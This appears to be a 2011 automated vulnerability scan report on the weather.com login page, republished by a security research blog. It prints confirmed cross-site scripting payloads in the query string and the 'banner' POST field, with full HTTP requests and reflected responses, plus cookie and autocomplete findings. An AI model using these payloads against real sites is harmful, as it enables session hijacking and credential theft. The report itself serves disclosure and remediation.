XSS, DORK, GHDB, registration.weather.com, CWE-79 REPORT SUMMARY

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading



Netsparker - Scan Report Summary
TARGET URL
https://registration.weather.com/ursa/login
SCAN DATE
4/21/2011 11:55:12 PM
REPORT DATE
4/21/2011 11:57:44 PM
SCAN DURATION
00:00:41

Total Requests

1607

Average Speed

38.34 req/sec.
6
identified
6
confirmed
0
critical
0
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
67 %
LOW
33 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/ursa/login Query Based QUERYSTRING Cross-site Scripting Yes
banner POST Cross-site Scripting Yes
banner POST Cross-site Scripting Yes
Cookie Not Marked As Secure Yes
Auto Complete Enabled Yes
Cookie Not Marked As HttpOnly Yes
Cross-site Scripting

Cross-site Scripting

3 TOTAL
IMPORTANT
CONFIRMED
3
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /ursa/login

/ursa/login CONFIRMED

https://registration.weather.com/ursa/login?'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x00..

Parameters

Parameter Type Value
Query Based QUERYSTRING '"--></style></script><script>alert(0x0002F5)</script>

Request

GET /ursa/login?'"--></style></script><script>netsparker(0x0002F5)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: registration.weather.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 04:55:35 GMT
Server: Apache
X-Cocoon-Version: 2.1.7
Set-Cookie: Ticket_web=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/,Ticket_urs=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Expires: -1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 7528
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Log In</title><link href="https://imawow.weather.com/web/common/header/stylesheet/style_sheet.css" type="text/css" rel="stylesheet"><link href="/common/stylesheet/ursa.css" type="text/css" rel="stylesheet"><script src="/common/scripts/environment.js" type="text/javascript"></script><script src="/common/scripts/objectTools.js" type="text/javascript"></script><script src="/common/scripts/reporting.js" type="text/javascript"></script><script src="/common/scripts/divtools.js" type="text/javascript"></script></head><body style="margin:5px"><img id="reportTag" style="margin:0;padding:0;float:left" border="0" height="1" width="1" alt="" src="/web/blank.gif"><script type="text/javascript">var pageReport = new Reporter();</script><center><div style="text-align:left;width:768px;margin:0px;padding:0px"><div style="margin:0;padding:0;margin-bottom:1px"><img name="bannerImg" id="bannerImg" style="" alt="" src="/web/common/banners/urs/generic_registration.jpg"></div><div style="position:absolute;visibility:hidden;width:150px;height:200px;text-align:left;" id="popUp"><iframe name="ajax" style="z-index:25" id="ajax" frameborder="0" width="1" height="1" src="/web/blank.gif"></iframe><div style="border:1px solid black;position:absolute; top:0;left:0;z-index:30;padding:3px;background: white;" class="Content" id="popUpContents">&nbsp;</div></div><script src="/common/scripts/formHelpers.js" type="text/javascript"></script><script src="/common/scripts/formChecker.js" type="text/javascript"></script><script type="text/javascript"> constraints=new Array(); </script><noscript><div class="ursItemError"><p><strong>For the weather.com registration system to work properly, Javascript <em>must</em> be turned on.</strong></p></div></noscript> <script xmlns:xsp="http://apache.org/xsp" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xsp-request="http://apache.org/xsp/request/2.0" xmlns:twc-form="twcForm.dtd" xmlns:cinclude="http://apache.org/cocoon/include/1.0" type="text/javascript"> pageReport.environment.uid=-1; function reportEntry() { pageReport.reportPageEntry(); } function reportExit() { pageReport.reportPageExit(); } addEvent(window,"load",reportEntry); addEvent(window,"unload",reportExit); </script> <table class="ursModule" style="width:768px"><tr><td><h2 class="moduleTitleBar"><div class="ursText" style="float:right;">New user? <a href="/ursa/profile?'%22--></style></script><script>netsparker(0x0002F5)</script>">Sign up!</a></div> Current Member Sign In</h2></td></tr><tr><td valign="top"><div style="padding-top:10px" class="Content"> <form onSubmit="return checkFormConstraints(this, constraints);" method="post" name="login" enctype="application/x-www-form-urlencoded"><table cellspacing="0" cellpadding="0" border="0"><tr><td valign="top" width="570" colspan="1"><table cellspacing="0" cellpadding="0" border="0" width="570"><tr><td valign="top" class="inDentA"><table width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td class="ursText" valign="middle" style="height:20px" colspan="3">Enter your e-mail address and password.<div id="hint_login">&nbsp;</div></td></tr><tr><td width="188" align="right" class="ursRowOn" valign="middle">E-Mail Address *</td><td valign="middle" class="ursRowOn" colspan="1" width="188"><input value="" name="username" type="text"><script type="text/javascript">constraints[constraints.length]='login/username:req;email'</script><noscript><input name="_checkusername" type="hidden" value="req;email"></noscript></td><td width="188" class="ursRowOn" valign="middle"><div height="30" id="hint_username">&nbsp;</div></td></tr><tr><td width="188" align="right" class="ursRowOff" valign="middle">Password *</td><td valign="middle" class="ursRowOff" colspan="1" width="188"><input value="" name="password" type="password"><script type="text/javascript">constraints[constraints.length]='login/password:req;'</script><noscript><input name="_checkpassword" type="hidden" value="req;"></noscript></td><td width="188" class="ursRowOff" valign="middle"><div height="30" id="hint_password"></div></td></tr></table></td></tr></table></td><td width="188" valign="top" align="center"><table style="height:51px" width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td style="position:relative;top:3px;" valign="middle" align="center"><p><a target="_blank" onclick="return !window.open('http://www.weather.com/common/home/privacy.html','Privacy','width=466,height=450,resizable,scrollbars,nostatus')" href="http://www.weather.com/common/home/privacy.html"><img border="0" height="31" width="116" alt="" src="/web/common/logos/finalmark.gif"></a></p></td></tr></table> <div class="helperBox" style="padding:10px"> <p><a href="/ursa/changePassword">Forgot your password?</a></p> <p><a href="http://www.weather.com">weather.com homepage</a></p> <p><a target="_blank" onclick="return !window.open('http://www.weather.com/mobile/textalertsubscribers.html', 'textalertsubscribers','width=466,height=450,resizable,scrollbars,nostatus');" href="http://www.weather.com/mobile/textalertsubscribers.html">Text Alert Subscribers</a></p> </div> </td></tr><tr><td class="inDentA" valign="middle"><table width="100%" border="0"><tr><td style="font-size:10px;" class="ursText" width="100">* required fields</td><td valign="middle" align="center"><input value="" name="banner" type="hidden"><input value="/ursa/profile" name="flowStart" type="hidden"><br><br><input value="/ursa/login" name="next.step" type="hidden"><input value="Login" type="image" alt="Login" src="/web/urs/common/signin.gif">&nbsp;&nbsp;<br><br></td></tr></table></td><td style="font-size:10px;" class="ursText" valign="middle" align="right">secure site <img align="ABSmiddle" border="0" height="15" width="13" alt="" src="/web/urs/common/lock.gif"> &nbsp;&nbsp;</td></tr></table></form> <script type="text/javascript"> pageReport.environment.page="L"; document.login.action="/ursa/login?'"--></style></script><script>netsparker(0x0002F5)</script>"; document.login.banner.value=document.bannerImg.src; </script> </div></td></tr></table><br> <div class="inDentA blkVerdanaText10" width="758" style="max-width:758px"> Copyright &copy; 1995-2011, The Weather Channel Interactive, Inc. Your use of this site constitutes your acceptance of the <br><a target="_blank" class="10pxLink" href="http://www.weather.com/common/home/legal.html?from=footer">LEGAL RESTRICTIONS AND TERMS OF USE</a><p><font color="blue">UPDATED</font> weather.com &reg; <a target="_blank" class="10pxLink" href="http://www.weather.com/common/home/privacy.html?from=footer">Privacy Statement</a> - Licensed by TRUSTe | <a target="_blank" class="10pxLink" href="http://controlyourtv.org/?from=twc_footer">Parental TV Controls</a></p></div></div></center></body></html>
- /ursa/login

/ursa/login CONFIRMED

https://registration.weather.com/ursa/login

Parameters

Parameter Type Value
_checkpassword POST req;
_checkusername POST req;email
banner POST javascript:alert(0x000308)
flowStart POST /ursa/profile
next.step POST /ursa/login
password POST 3
username POST Smith

Request

POST /ursa/login HTTP/1.1
Referer: https://registration.weather.com/ursa/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: registration.weather.com
Content-Length: 169
Accept-Encoding: gzip, deflate

_checkpassword=req%3b&_checkusername=req%3bemail&banner=javascript%3anetsparker(0x000308)&flowStart=%2fursa%2fprofile&next.step=%2fursa%2flogin&password=3&username=Smith

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 04:55:37 GMT
Server: Apache
X-Cocoon-Version: 2.1.7
Set-Cookie: Ticket_web=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/,Ticket_urs=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Expires: -1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 7862
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Log In</title><link href="https://imawow.weather.com/web/common/header/stylesheet/style_sheet.css" type="text/css" rel="stylesheet"><link href="/common/stylesheet/ursa.css" type="text/css" rel="stylesheet"><script src="/common/scripts/environment.js" type="text/javascript"></script><script src="/common/scripts/objectTools.js" type="text/javascript"></script><script src="/common/scripts/reporting.js" type="text/javascript"></script><script src="/common/scripts/divtools.js" type="text/javascript"></script></head><body style="margin:5px"><img id="reportTag" style="margin:0;padding:0;float:left" border="0" height="1" width="1" alt="" src="/web/blank.gif"><script type="text/javascript">var pageReport = new Reporter();</script><center><div style="text-align:left;width:768px;margin:0px;padding:0px"><div style="margin:0;padding:0;margin-bottom:1px"><img name="bannerImg" id="bannerImg" style="" alt="" src="javascript:netsparker(0x000308)"></div><div style="position:absolute;visibility:hidden;width:150px;height:200px;text-align:left;" id="popUp"><iframe name="ajax" style="z-index:25" id="ajax" frameborder="0" width="1" height="1" src="/web/blank.gif"></iframe><div style="border:1px solid black;position:absolute; top:0;left:0;z-index:30;padding:3px;background: white;" class="Content" id="popUpContents">&nbsp;</div></div><script src="/common/scripts/formHelpers.js" type="text/javascript"></script><script src="/common/scripts/formChecker.js" type="text/javascript"></script><script type="text/javascript"> constraints=new Array(); </script><noscript><div class="ursItemError"><p><strong>For the weather.com registration system to work properly, Javascript <em>must</em> be turned on.</strong></p></div></noscript> <script xmlns:xsp="http://apache.org/xsp" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xsp-request="http://apache.org/xsp/request/2.0" xmlns:twc-form="twcForm.dtd" xmlns:cinclude="http://apache.org/cocoon/include/1.0" type="text/javascript"> pageReport.environment.uid=-1; function reportEntry() { pageReport.reportPageEntry(); } function reportExit() { pageReport.reportPageExit(); } addEvent(window,"load",reportEntry); addEvent(window,"unload",reportExit); </script> <table class="ursModule" style="width:768px"><tr><td><h2 class="moduleTitleBar"><div class="ursText" style="float:right;">New user? <a href="/ursa/profile?">Sign up!</a></div> Current Member Sign In</h2></td></tr><tr><td valign="top"><div style="padding-top:10px" class="Content"> <form onSubmit="return checkFormConstraints(this, constraints);" method="post" name="login" enctype="application/x-www-form-urlencoded"><table cellspacing="0" cellpadding="0" border="0"><tr><td valign="top" width="570" colspan="1"><table cellspacing="0" cellpadding="0" border="0" width="570"><tr><td valign="top" class="inDentA"><table width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td class="ursText" valign="middle" style="height:20px" colspan="3">Enter your e-mail address and password.<div id="hint_login">&nbsp;</div></td></tr><tr><td width="188" align="right" class="ursRowOn" valign="middle">E-Mail Address *</td><td valign="middle" class="ursRowOn" colspan="1" width="188"><input value="Smith" name="username" type="text"><script type="text/javascript">constraints[constraints.length]='login/username:req;email'</script><noscript><input name="_checkusername" type="hidden" value="req;email"></noscript></td><td width="188" class="ursRowOn" valign="middle"><div height="30" id="hint_username">&nbsp;</div><script type="text/javascript"> pageReport.reportError("Invalid username.","AA","username");</script><noscript><div class="ursItemError">Invalid username.</div></noscript></td></tr><tr><td width="188" align="right" class="ursRowOff" valign="middle">Password *</td><td valign="middle" class="ursRowOff" colspan="1" width="188"><input value="" name="password" type="password"><script type="text/javascript">constraints[constraints.length]='login/password:req;'</script><noscript><input name="_checkpassword" type="hidden" value="req;"></noscript></td><td width="188" class="ursRowOff" valign="middle"><div height="30" id="hint_password"></div><script type="text/javascript"> pageReport.reportError("Password must be at least 6 characters long; please re-enter your password.","AA","password");</script><noscript><div class="ursItemError">Password must be at least 6 characters long; please re-enter your password.</div></noscript></td></tr></table></td></tr></table></td><td width="188" valign="top" align="center"><table style="height:51px" width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td style="position:relative;top:3px;" valign="middle" align="center"><p><a target="_blank" onclick="return !window.open('http://www.weather.com/common/home/privacy.html','Privacy','width=466,height=450,resizable,scrollbars,nostatus')" href="http://www.weather.com/common/home/privacy.html"><img border="0" height="31" width="116" alt="" src="/web/common/logos/finalmark.gif"></a></p></td></tr></table> <div class="helperBox" style="padding:10px"> <p><a href="/ursa/changePassword">Forgot your password?</a></p> <p><a href="http://www.weather.com">weather.com homepage</a></p> <p><a target="_blank" onclick="return !window.open('http://www.weather.com/mobile/textalertsubscribers.html', 'textalertsubscribers','width=466,height=450,resizable,scrollbars,nostatus');" href="http://www.weather.com/mobile/textalertsubscribers.html">Text Alert Subscribers</a></p> </div> </td></tr><tr><td class="inDentA" valign="middle"><table width="100%" border="0"><tr><td style="font-size:10px;" class="ursText" width="100">* required fields</td><td valign="middle" align="center"><input value="" name="banner" type="hidden"><input value="/ursa/profile" name="flowStart" type="hidden"><br><br><input value="/ursa/login" name="next.step" type="hidden"><input value="Login" type="image" alt="Login" src="/web/urs/common/signin.gif">&nbsp;&nbsp;<br><br></td></tr></table></td><td style="font-size:10px;" class="ursText" valign="middle" align="right">secure site <img align="ABSmiddle" border="0" height="15" width="13" alt="" src="/web/urs/common/lock.gif"> &nbsp;&nbsp;</td></tr></table></form> <script type="text/javascript"> pageReport.environment.page="L"; document.login.action="/ursa/login?"; document.login.banner.value=document.bannerImg.src; </script> </div></td></tr></table><br> <div class="inDentA blkVerdanaText10" width="758" style="max-width:758px"> Copyright &copy; 1995-2011, The Weather Channel Interactive, Inc. Your use of this site constitutes your acceptance of the <br><a target="_blank" class="10pxLink" href="http://www.weather.com/common/home/legal.html?from=footer">LEGAL RESTRICTIONS AND TERMS OF USE</a><p><font color="blue">UPDATED</font> weather.com &reg; <a target="_blank" class="10pxLink" href="http://www.weather.com/common/home/privacy.html?from=footer">Privacy Statement</a> - Licensed by TRUSTe | <a target="_blank" class="10pxLink" href="http://controlyourtv.org/?from=twc_footer">Parental TV Controls</a></p></div></div></center></body></html>
- /ursa/login

/ursa/login CONFIRMED

https://registration.weather.com/ursa/login

Parameters

Parameter Type Value
username POST Smith
password POST 3
banner POST javascript:alert(0x00033F)
flowStart POST /ursa/profile
next.step POST /ursa/login

Request

POST /ursa/login HTTP/1.1
Referer: https://registration.weather.com/ursa/login
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: registration.weather.com
Content-Length: 120
Accept-Encoding: gzip, deflate

username=Smith&password=3&banner=javascript%3anetsparker(0x00033F)&flowStart=%2fursa%2fprofile&next.step=%2fursa%2flogin

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 04:55:46 GMT
Server: Apache
X-Cocoon-Version: 2.1.7
Set-Cookie: Ticket_web=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/,Ticket_urs=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Expires: -1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 7862
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Log In</title><link href="https://imawow.weather.com/web/common/header/stylesheet/style_sheet.css" type="text/css" rel="stylesheet"><link href="/common/stylesheet/ursa.css" type="text/css" rel="stylesheet"><script src="/common/scripts/environment.js" type="text/javascript"></script><script src="/common/scripts/objectTools.js" type="text/javascript"></script><script src="/common/scripts/reporting.js" type="text/javascript"></script><script src="/common/scripts/divtools.js" type="text/javascript"></script></head><body style="margin:5px"><img id="reportTag" style="margin:0;padding:0;float:left" border="0" height="1" width="1" alt="" src="/web/blank.gif"><script type="text/javascript">var pageReport = new Reporter();</script><center><div style="text-align:left;width:768px;margin:0px;padding:0px"><div style="margin:0;padding:0;margin-bottom:1px"><img name="bannerImg" id="bannerImg" style="" alt="" src="javascript:netsparker(0x00033F)"></div><div style="position:absolute;visibility:hidden;width:150px;height:200px;text-align:left;" id="popUp"><iframe name="ajax" style="z-index:25" id="ajax" frameborder="0" width="1" height="1" src="/web/blank.gif"></iframe><div style="border:1px solid black;position:absolute; top:0;left:0;z-index:30;padding:3px;background: white;" class="Content" id="popUpContents">&nbsp;</div></div><script src="/common/scripts/formHelpers.js" type="text/javascript"></script><script src="/common/scripts/formChecker.js" type="text/javascript"></script><script type="text/javascript"> constraints=new Array(); </script><noscript><div class="ursItemError"><p><strong>For the weather.com registration system to work properly, Javascript <em>must</em> be turned on.</strong></p></div></noscript> <script xmlns:xsp="http://apache.org/xsp" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xsp-request="http://apache.org/xsp/request/2.0" xmlns:twc-form="twcForm.dtd" xmlns:cinclude="http://apache.org/cocoon/include/1.0" type="text/javascript"> pageReport.environment.uid=-1; function reportEntry() { pageReport.reportPageEntry(); } function reportExit() { pageReport.reportPageExit(); } addEvent(window,"load",reportEntry); addEvent(window,"unload",reportExit); </script> <table class="ursModule" style="width:768px"><tr><td><h2 class="moduleTitleBar"><div class="ursText" style="float:right;">New user? <a href="/ursa/profile?">Sign up!</a></div> Current Member Sign In</h2></td></tr><tr><td valign="top"><div style="padding-top:10px" class="Content"> <form onSubmit="return checkFormConstraints(this, constraints);" method="post" name="login" enctype="application/x-www-form-urlencoded"><table cellspacing="0" cellpadding="0" border="0"><tr><td valign="top" width="570" colspan="1"><table cellspacing="0" cellpadding="0" border="0" width="570"><tr><td valign="top" class="inDentA"><table width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td class="ursText" valign="middle" style="height:20px" colspan="3">Enter your e-mail address and password.<div id="hint_login">&nbsp;</div></td></tr><tr><td width="188" align="right" class="ursRowOn" valign="middle">E-Mail Address *</td><td valign="middle" class="ursRowOn" colspan="1" width="188"><input value="Smith" name="username" type="text"><script type="text/javascript">constraints[constraints.length]='login/username:req;email'</script><noscript><input name="_checkusername" type="hidden" value="req;email"></noscript></td><td width="188" class="ursRowOn" valign="middle"><div height="30" id="hint_username">&nbsp;</div><script type="text/javascript"> pageReport.reportError("Invalid username.","AA","username");</script><noscript><div class="ursItemError">Invalid username.</div></noscript></td></tr><tr><td width="188" align="right" class="ursRowOff" valign="middle">Password *</td><td valign="middle" class="ursRowOff" colspan="1" width="188"><input value="" name="password" type="password"><script type="text/javascript">constraints[constraints.length]='login/password:req;'</script><noscript><input name="_checkpassword" type="hidden" value="req;"></noscript></td><td width="188" class="ursRowOff" valign="middle"><div height="30" id="hint_password"></div><script type="text/javascript"> pageReport.reportError("Password must be at least 6 characters long; please re-enter your password.","AA","password");</script><noscript><div class="ursItemError">Password must be at least 6 characters long; please re-enter your password.</div></noscript></td></tr></table></td></tr></table></td><td width="188" valign="top" align="center"><table style="height:51px" width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td style="position:relative;top:3px;" valign="middle" align="center"><p><a target="_blank" onclick="return !window.open('http://www.weather.com/common/home/privacy.html','Privacy','width=466,height=450,resizable,scrollbars,nostatus')" href="http://www.weather.com/common/home/privacy.html"><img border="0" height="31" width="116" alt="" src="/web/common/logos/finalmark.gif"></a></p></td></tr></table> <div class="helperBox" style="padding:10px"> <p><a href="/ursa/changePassword">Forgot your password?</a></p> <p><a href="http://www.weather.com">weather.com homepage</a></p> <p><a target="_blank" onclick="return !window.open('http://www.weather.com/mobile/textalertsubscribers.html', 'textalertsubscribers','width=466,height=450,resizable,scrollbars,nostatus');" href="http://www.weather.com/mobile/textalertsubscribers.html">Text Alert Subscribers</a></p> </div> </td></tr><tr><td class="inDentA" valign="middle"><table width="100%" border="0"><tr><td style="font-size:10px;" class="ursText" width="100">* required fields</td><td valign="middle" align="center"><input value="" name="banner" type="hidden"><input value="/ursa/profile" name="flowStart" type="hidden"><br><br><input value="/ursa/login" name="next.step" type="hidden"><input value="Login" type="image" alt="Login" src="/web/urs/common/signin.gif">&nbsp;&nbsp;<br><br></td></tr></table></td><td style="font-size:10px;" class="ursText" valign="middle" align="right">secure site <img align="ABSmiddle" border="0" height="15" width="13" alt="" src="/web/urs/common/lock.gif"> &nbsp;&nbsp;</td></tr></table></form> <script type="text/javascript"> pageReport.environment.page="L"; document.login.action="/ursa/login?"; document.login.banner.value=document.bannerImg.src; </script> </div></td></tr></table><br> <div class="inDentA blkVerdanaText10" width="758" style="max-width:758px"> Copyright &copy; 1995-2011, The Weather Channel Interactive, Inc. Your use of this site constitutes your acceptance of the <br><a target="_blank" class="10pxLink" href="http://www.weather.com/common/home/legal.html?from=footer">LEGAL RESTRICTIONS AND TERMS OF USE</a><p><font color="blue">UPDATED</font> weather.com &reg; <a target="_blank" class="10pxLink" href="http://www.weather.com/common/home/privacy.html?from=footer">Privacy Statement</a> - Licensed by TRUSTe | <a target="_blank" class="10pxLink" href="http://controlyourtv.org/?from=twc_footer">Parental TV Controls</a></p></div></div></center></body></html>
Cookie Not Marked As Secure

Cookie Not Marked As Secure

1 TOTAL
IMPORTANT
CONFIRMED
1
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
- /ursa/login

/ursa/login CONFIRMED

https://registration.weather.com/ursa/login

Identified Cookie

Ticket_web

Request

HEAD /ursa/login HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Accept: netsparker/check
Cache-Control: no-cache
Host: registration.weather.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 04:55:15 GMT
Server: Apache
X-Cocoon-Version: 2.1.7
Set-Cookie: Ticket_web=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/,Ticket_urs=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Expires: -1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html


Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /ursa/login

/ursa/login CONFIRMED

https://registration.weather.com/ursa/login

Identified Field Name

password

Request

GET /ursa/login HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: registration.weather.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 04:55:15 GMT
Server: Apache
X-Cocoon-Version: 2.1.7
Set-Cookie: Ticket_web=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/,Ticket_urs=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Expires: -1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 7408
Keep-Alive: timeout=3, max=10
Connection: Keep-Alive
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Log In</title><link href="https://imawow.weather.com/web/common/header/stylesheet/style_sheet.css" type="text/css" rel="stylesheet"><link href="/common/stylesheet/ursa.css" type="text/css" rel="stylesheet"><script src="/common/scripts/environment.js" type="text/javascript"></script><script src="/common/scripts/objectTools.js" type="text/javascript"></script><script src="/common/scripts/reporting.js" type="text/javascript"></script><script src="/common/scripts/divtools.js" type="text/javascript"></script></head><body style="margin:5px"><img id="reportTag" style="margin:0;padding:0;float:left" border="0" height="1" width="1" alt="" src="/web/blank.gif"><script type="text/javascript">var pageReport = new Reporter();</script><center><div style="text-align:left;width:768px;margin:0px;padding:0px"><div style="margin:0;padding:0;margin-bottom:1px"><img name="bannerImg" id="bannerImg" style="" alt="" src="/web/common/banners/urs/generic_registration.jpg"></div><div style="position:absolute;visibility:hidden;width:150px;height:200px;text-align:left;" id="popUp"><iframe name="ajax" style="z-index:25" id="ajax" frameborder="0" width="1" height="1" src="/web/blank.gif"></iframe><div style="border:1px solid black;position:absolute; top:0;left:0;z-index:30;padding:3px;background: white;" class="Content" id="popUpContents">&nbsp;</div></div><script src="/common/scripts/formHelpers.js" type="text/javascript"></script><script src="/common/scripts/formChecker.js" type="text/javascript"></script><script type="text/javascript"> constraints=new Array(); </script><noscript><div class="ursItemError"><p><strong>For the weather.com registration system to work properly, Javascript <em>must</em> be turned on.</strong></p></div></noscript> <script xmlns:xsp="http://apache.org/xsp" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xsp-request="http://apache.org/xsp/request/2.0" xmlns:twc-form="twcForm.dtd" xmlns:cinclude="http://apache.org/cocoon/include/1.0" type="text/javascript"> pageReport.environment.uid=-1; function reportEntry() { pageReport.reportPageEntry(); } function reportExit() { pageReport.reportPageExit(); } addEvent(window,"load",reportEntry); addEvent(window,"unload",reportExit); </script> <table class="ursModule" style="width:768px"><tr><td><h2 class="moduleTitleBar"><div class="ursText" style="float:right;">New user? <a href="/ursa/profile?">Sign up!</a></div> Current Member Sign In</h2></td></tr><tr><td valign="top"><div style="padding-top:10px" class="Content"> <form onSubmit="return checkFormConstraints(this, constraints);" method="post" name="login" enctype="application/x-www-form-urlencoded"><table cellspacing="0" cellpadding="0" border="0"><tr><td valign="top" width="570" colspan="1"><table cellspacing="0" cellpadding="0" border="0" width="570"><tr><td valign="top" class="inDentA"><table width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td class="ursText" valign="middle" style="height:20px" colspan="3">Enter your e-mail address and password.<div id="hint_login">&nbsp;</div></td></tr><tr><td width="188" align="right" class="ursRowOn" valign="middle">E-Mail Address *</td><td valign="middle" class="ursRowOn" colspan="1" width="188"><input value="" name="username" type="text"><script type="text/javascript">constraints[constraints.length]='login/username:req;email'</script><noscript><input name="_checkusername" type="hidden" value="req;email"></noscript></td><td width="188" class="ursRowOn" valign="middle"><div height="30" 